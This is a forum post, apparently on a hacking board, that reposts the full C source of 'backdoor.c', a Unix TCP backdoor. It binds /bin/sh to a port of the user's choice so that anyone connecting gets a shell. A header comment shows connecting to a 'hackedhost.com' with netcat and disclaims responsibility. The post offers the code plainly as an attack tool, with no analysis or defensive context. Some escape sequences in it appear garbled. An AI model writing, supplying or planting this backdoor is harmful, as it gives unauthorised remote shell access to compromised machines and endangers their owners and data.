Jump to content
¯\_( ツ)_/¯
  • TAD GROUP are currently hiring penetration testers. Please read the topic in Career Central subforum.
  • Sponsored Ad
Sign in to follow this  
chapoblan

backdoor.c by shaun2k2

Recommended Posts

Цитат

/* backdoor.c - basic unix tcp backdoor. 
* 
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your 
* choice. Access the shell with telnet or netcat: 
* 
* root# nc -v hackedhost.com 1337 
* 
* I do not take responsibility for this code. 
*/ 

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#define BACKLOG 5 
#define SHELL "/bin/sh" 

void usage(); 

int main(int argc, char *argv[]) { 
	if(argc <2) { 
		usage(argv[0]); 
	} 
	
	int sock, csock; 
	struct sockaddr_in client; 
	struct sockaddr_in mine; 
	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
		printf("Couldn't make socket!n"); exit(-1); 
	} 
	
	mine.sin_family = AF_INET; 
	mine.sin_port = htons(atoi(argv[1])); 
	mine.sin_addr.s_addr = INADDR_ANY; 
	if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) { 
		printf("Could not bind socket!n"); 
		exit(-1); 
	} 
	
	if(listen(sock, BACKLOG) == -1) { 
		printf("Could not listen on socket!n"); 
		exit(-1); 
	} 
	
	printf("Listening for connections on port %s!n", argv[1]); 
	
	while(1) { 
		int sin_size; 
		sin_size = sizeof(struct sockaddr); 
		csock = accept(sock, (struct sockaddr *)&client, &sin_size); 
		dup2(csock, 0); 
		dup2(csock, 1); 
		dup2(csock, 2); 
		execl("/bin/sh","/bin/sh",(char *)0); 
		close(csock); 
	} 
} 

void usage(char *progname[]) { 
	printf("Usage: %s <port>n", progname); 
	exit(-1); 
}

 

Share this post


Link to post
Share on other sites
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.